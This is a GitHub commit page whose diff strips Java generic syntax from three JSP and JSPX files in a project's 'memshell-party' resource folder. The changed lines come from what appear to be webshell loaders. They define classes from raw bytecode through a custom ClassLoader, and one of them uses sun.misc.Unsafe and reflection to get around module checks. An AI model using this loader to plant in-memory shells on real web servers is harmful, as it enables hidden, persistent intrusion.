Skip to content

Commit 60c40fa

Browse files
committed
refactor: rm jsp generic syntax
1 parent d22be3c commit 60c40fa

3 files changed

Lines changed: 4 additions & 4 deletions

File tree

packer/src/main/resources/memshell-party/shell.jsp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
super(classLoader);
55
}
66
7-
public Class<?> defineClass(byte[] code) {
7+
public Class defineClass(byte[] code) {
88
return defineClass(null, code, 0, code.length);
99
}
1010
}

packer/src/main/resources/memshell-party/shell.jspx

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
public ClassDefiner(ClassLoader classLoader) {
77
super(classLoader);
88
}
9-
public Class<?> defineClass(byte[] code) {
9+
public Class defineClass(byte[] code) {
1010
return defineClass(null, code, 0, code.length);
1111
}
1212
}

packer/src/main/resources/memshell-party/shell2.jsp

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
long offset = 48;
55
java.lang.reflect.Method getAndSetObjectM = null;
66
try {
7-
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
7+
Class unsafeClass = Class.forName("sun.misc.Unsafe");
88
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
99
unsafeField.setAccessible(true);
1010
unsafe = unsafeField.get(null);
@@ -28,7 +28,7 @@
2828
}
2929
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
3030
defMethod.setAccessible(true);
31-
Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
31+
Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
3232
if (getAndSetObjectM != null) {
3333
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
3434
}

0 commit comments

Comments
 (0)